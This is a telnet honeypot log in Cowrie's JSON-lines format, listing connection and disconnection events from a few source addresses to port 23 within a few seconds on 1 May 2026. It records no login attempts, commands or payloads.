{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46142,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7b49a6fd74f","protocol":"telnet","message":"New connection: 51.161.172.108:46142 (159.203.135.109:23) [session: a7b49a6fd74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:46.724511Z"}
{"eventid":"cowrie.session.closed","duration":31.7691593170166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:46.736498Z","src_ip":"51.161.172.108","session":"c9b2fc21c79a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46232,"dst_ip":"159.203.135.109","dst_port":23,"session":"727bda469572","protocol":"telnet","message":"New connection: 51.161.172.108:46232 (159.203.135.109:23) [session: 727bda469572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:47.117970Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":55074,"dst_ip":"159.203.135.109","dst_port":23,"session":"22a70ecebc25","protocol":"telnet","message":"New connection: 167.99.38.72:55074 (159.203.135.109:23) [session: 22a70ecebc25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:47.153760Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":37448,"dst_ip":"10.17.0.5","dst_port":23,"session":"978353e7a5c6","protocol":"telnet","message":"New connection: 45.10.154.244:37448 (10.17.0.5:23) [session: 978353e7a5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:47.163987Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46262,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dfaf135a7ee","protocol":"telnet","message":"New connection: 51.161.172.108:46262 (159.203.135.109:23) [session: 2dfaf135a7ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:47.251785Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":55864,"dst_ip":"159.203.135.109","dst_port":23,"session":"e23faeaf6b3f","protocol":"telnet","message":"New connection: 167.99.38.72:55864 (159.203.135.109:23) [session: e23faeaf6b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:47.265199Z"}
{"eventid":"cowrie.session.closed","duration":30.7555410861969,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:47.306762Z","src_ip":"51.161.172.108","session":"f0e57ed2402e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.003072500228882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:47.488757Z","src_ip":"51.161.172.108","session":"f30c05a37d8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97419786453247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:47.599143Z","src_ip":"45.10.154.244","session":"a141894e692d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.89664888381958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:47.699890Z","src_ip":"51.161.172.108","session":"8a55d0ebe8ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.10942316055298,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:47.732589Z","src_ip":"167.99.38.72","session":"ce5c11644f23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46146,"dst_ip":"159.203.135.109","dst_port":23,"session":"3331baf4e6be","protocol":"telnet","message":"New connection: 51.161.172.108:46146 (159.203.135.109:23) [session: 3331baf4e6be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:47.760936Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46194,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e193f8dd8aa","protocol":"telnet","message":"New connection: 51.161.172.108:46194 (159.203.135.109:23) [session: 8e193f8dd8aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:47.813352Z"}
{"eventid":"cowrie.session.closed","duration":33.12326979637146,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:48.053823Z","src_ip":"51.161.172.108","session":"38b853969ae6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.353214263916016,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:48.058555Z","src_ip":"45.10.154.244","session":"8be15426aaac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46280,"dst_ip":"159.203.135.109","dst_port":23,"session":"19f64d00536f","protocol":"telnet","message":"New connection: 51.161.172.108:46280 (159.203.135.109:23) [session: 19f64d00536f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:48.134395Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46296,"dst_ip":"159.203.135.109","dst_port":23,"session":"67ec960d117e","protocol":"telnet","message":"New connection: 51.161.172.108:46296 (159.203.135.109:23) [session: 67ec960d117e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:48.211347Z"}
{"eventid":"cowrie.session.closed","duration":30.878239393234253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:48.238664Z","src_ip":"51.161.172.108","session":"a379bcdb695a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46248,"dst_ip":"159.203.135.109","dst_port":23,"session":"a48c1292b541","protocol":"telnet","message":"New connection: 51.161.172.108:46248 (159.203.135.109:23) [session: a48c1292b541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:48.273250Z"}
{"eventid":"cowrie.session.closed","duration":31.13468050956726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:48.336038Z","src_ip":"51.161.172.108","session":"c88819d3034f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.111183404922485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:48.340602Z","src_ip":"51.161.172.108","session":"30c00c08205b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":45734,"dst_ip":"10.17.0.5","dst_port":23,"session":"c775eefa2a0e","protocol":"telnet","message":"New connection: 45.10.154.244:45734 (10.17.0.5:23) [session: c775eefa2a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:48.348742Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":45964,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d41934080a1","protocol":"telnet","message":"New connection: 45.10.154.244:45964 (10.17.0.5:23) [session: 1d41934080a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:48.420359Z"}
{"eventid":"cowrie.session.closed","duration":31.6838698387146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:48.564516Z","src_ip":"51.161.172.108","session":"d7325736432d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46334,"dst_ip":"159.203.135.109","dst_port":23,"session":"af7b659ebd28","protocol":"telnet","message":"New connection: 51.161.172.108:46334 (159.203.135.109:23) [session: af7b659ebd28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:48.572848Z"}
{"eventid":"cowrie.session.closed","duration":31.55232048034668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:48.602993Z","src_ip":"51.161.172.108","session":"811b10107e85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.803260564804077,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:48.687965Z","src_ip":"51.161.172.108","session":"bff352ecea03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46382,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e6ecf8cde3b","protocol":"telnet","message":"New connection: 51.161.172.108:46382 (159.203.135.109:23) [session: 2e6ecf8cde3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:48.780174Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46416,"dst_ip":"159.203.135.109","dst_port":23,"session":"eeca8aa70823","protocol":"telnet","message":"New connection: 51.161.172.108:46416 (159.203.135.109:23) [session: eeca8aa70823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:48.994304Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46404,"dst_ip":"159.203.135.109","dst_port":23,"session":"db2d30a24410","protocol":"telnet","message":"New connection: 51.161.172.108:46404 (159.203.135.109:23) [session: db2d30a24410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:49.025159Z"}
{"eventid":"cowrie.session.closed","duration":34.312888383865356,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:49.115164Z","src_ip":"51.161.172.108","session":"8677669818ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.851348400115967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:49.121097Z","src_ip":"45.10.154.244","session":"5ebf829a5d61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.11705040931702,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:49.154378Z","src_ip":"51.161.172.108","session":"45e5cdab771c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45348,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f8e146dec71","protocol":"telnet","message":"New connection: 51.161.172.108:45348 (159.203.135.109:23) [session: 4f8e146dec71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:49.190556Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46436,"dst_ip":"159.203.135.109","dst_port":23,"session":"11f9b03992d7","protocol":"telnet","message":"New connection: 51.161.172.108:46436 (159.203.135.109:23) [session: 11f9b03992d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:49.223157Z"}
{"eventid":"cowrie.session.closed","duration":31.25804376602173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:49.425922Z","src_ip":"51.161.172.108","session":"132b80baa338","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45360,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3bc7abf0693","protocol":"telnet","message":"New connection: 51.161.172.108:45360 (159.203.135.109:23) [session: b3bc7abf0693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:49.452115Z"}
{"eventid":"cowrie.session.closed","duration":31.30399465560913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:49.459425Z","src_ip":"51.161.172.108","session":"51e73b2a3c5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45376,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdb2c5cb2141","protocol":"telnet","message":"New connection: 51.161.172.108:45376 (159.203.135.109:23) [session: bdb2c5cb2141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:49.465319Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45382,"dst_ip":"159.203.135.109","dst_port":23,"session":"24ba44d920ad","protocol":"telnet","message":"New connection: 51.161.172.108:45382 (159.203.135.109:23) [session: 24ba44d920ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:49.575835Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45410,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f018472229d","protocol":"telnet","message":"New connection: 51.161.172.108:45410 (159.203.135.109:23) [session: 1f018472229d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:49.681986Z"}
{"eventid":"cowrie.session.closed","duration":31.530259132385254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:49.842580Z","src_ip":"51.161.172.108","session":"19d2ef7f8ae9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":46402,"dst_ip":"159.203.135.109","dst_port":23,"session":"868aa8ebdd7a","protocol":"telnet","message":"New connection: 51.161.172.108:46402 (159.203.135.109:23) [session: 868aa8ebdd7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:49.901366Z"}
{"eventid":"cowrie.session.closed","duration":30.706862688064575,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:50.055114Z","src_ip":"45.10.154.244","session":"f45305a054a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.372891426086426,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:50.079011Z","src_ip":"51.161.172.108","session":"383733599ecc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45568,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb018766cf59","protocol":"telnet","message":"New connection: 51.161.172.108:45568 (159.203.135.109:23) [session: fb018766cf59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:50.269692Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45532,"dst_ip":"159.203.135.109","dst_port":23,"session":"a63f97450d20","protocol":"telnet","message":"New connection: 51.161.172.108:45532 (159.203.135.109:23) [session: a63f97450d20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:50.278939Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45576,"dst_ip":"159.203.135.109","dst_port":23,"session":"94e7b8f41ca0","protocol":"telnet","message":"New connection: 51.161.172.108:45576 (159.203.135.109:23) [session: 94e7b8f41ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:50.327732Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45546,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbd30c8d4133","protocol":"telnet","message":"New connection: 51.161.172.108:45546 (159.203.135.109:23) [session: bbd30c8d4133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:50.332728Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45580,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e468c1ca6e6","protocol":"telnet","message":"New connection: 51.161.172.108:45580 (159.203.135.109:23) [session: 7e468c1ca6e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:50.336687Z"}
{"eventid":"cowrie.session.closed","duration":30.72304940223694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:50.354417Z","src_ip":"51.161.172.108","session":"fb36db9b95b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45354,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d0df928ecda","protocol":"telnet","message":"New connection: 51.161.172.108:45354 (159.203.135.109:23) [session: 0d0df928ecda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:50.453183Z"}
{"eventid":"cowrie.session.closed","duration":31.6167209148407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:50.573889Z","src_ip":"51.161.172.108","session":"07c1b2f1ed12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.326781272888184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:50.717725Z","src_ip":"51.161.172.108","session":"5642e1a73418","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.724132299423218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:50.863041Z","src_ip":"51.161.172.108","session":"3888820a9b86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.19888663291931,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:51.080652Z","src_ip":"51.161.172.108","session":"ccf3aeadc3c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.91686511039734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:51.109833Z","src_ip":"51.161.172.108","session":"2c2f2cbee704","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45712,"dst_ip":"159.203.135.109","dst_port":23,"session":"87347676bc83","protocol":"telnet","message":"New connection: 51.161.172.108:45712 (159.203.135.109:23) [session: 87347676bc83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:51.162143Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":58508,"dst_ip":"159.203.135.109","dst_port":23,"session":"05c637258e10","protocol":"telnet","message":"New connection: 167.99.38.72:58508 (159.203.135.109:23) [session: 05c637258e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:51.264933Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45592,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cfa55887a54","protocol":"telnet","message":"New connection: 51.161.172.108:45592 (159.203.135.109:23) [session: 1cfa55887a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:51.473325Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45630,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a6d466ebe55","protocol":"telnet","message":"New connection: 51.161.172.108:45630 (159.203.135.109:23) [session: 6a6d466ebe55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:51.593559Z"}
{"eventid":"cowrie.session.closed","duration":31.163032054901123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:51.603990Z","src_ip":"51.161.172.108","session":"ba4df0f8b75a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45728,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfd00b6772d5","protocol":"telnet","message":"New connection: 51.161.172.108:45728 (159.203.135.109:23) [session: bfd00b6772d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:51.613196Z"}
{"eventid":"cowrie.session.closed","duration":31.06312847137451,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:51.652709Z","src_ip":"51.161.172.108","session":"c9faee7f4af7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.413678646087646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:51.696554Z","src_ip":"51.161.172.108","session":"0c810fffc0fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45658,"dst_ip":"159.203.135.109","dst_port":23,"session":"e949c8428986","protocol":"telnet","message":"New connection: 51.161.172.108:45658 (159.203.135.109:23) [session: e949c8428986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:51.719164Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45674,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6c022cc3c3b","protocol":"telnet","message":"New connection: 51.161.172.108:45674 (159.203.135.109:23) [session: c6c022cc3c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:51.855566Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45736,"dst_ip":"159.203.135.109","dst_port":23,"session":"8485a25bf1e2","protocol":"telnet","message":"New connection: 51.161.172.108:45736 (159.203.135.109:23) [session: 8485a25bf1e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:51.906011Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45690,"dst_ip":"159.203.135.109","dst_port":23,"session":"3914d56b5608","protocol":"telnet","message":"New connection: 51.161.172.108:45690 (159.203.135.109:23) [session: 3914d56b5608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:51.910374Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45744,"dst_ip":"159.203.135.109","dst_port":23,"session":"78b7cfafd98f","protocol":"telnet","message":"New connection: 51.161.172.108:45744 (159.203.135.109:23) [session: 78b7cfafd98f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:52.200465Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":59168,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aadaf3d0f91","protocol":"telnet","message":"New connection: 167.99.38.72:59168 (159.203.135.109:23) [session: 1aadaf3d0f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:52.218956Z"}
{"eventid":"cowrie.session.closed","duration":30.940711498260498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:52.224469Z","src_ip":"51.161.172.108","session":"15e72bdf01c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.810197353363037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:52.260663Z","src_ip":"51.161.172.108","session":"6c64322adb6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.338046073913574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:52.311973Z","src_ip":"51.161.172.108","session":"0a684cdced33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45782,"dst_ip":"159.203.135.109","dst_port":23,"session":"07616ea6f9f9","protocol":"telnet","message":"New connection: 51.161.172.108:45782 (159.203.135.109:23) [session: 07616ea6f9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:52.317696Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45808,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4a2db67660c","protocol":"telnet","message":"New connection: 51.161.172.108:45808 (159.203.135.109:23) [session: c4a2db67660c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:52.572609Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45812,"dst_ip":"159.203.135.109","dst_port":23,"session":"167db9308d41","protocol":"telnet","message":"New connection: 51.161.172.108:45812 (159.203.135.109:23) [session: 167db9308d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:52.648118Z"}
{"eventid":"cowrie.session.closed","duration":31.661235570907593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:52.687983Z","src_ip":"51.161.172.108","session":"c0c98473b194","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":45816,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d0d87f62c82","protocol":"telnet","message":"New connection: 51.161.172.108:45816 (159.203.135.109:23) [session: 3d0d87f62c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:39:52.720098Z"}
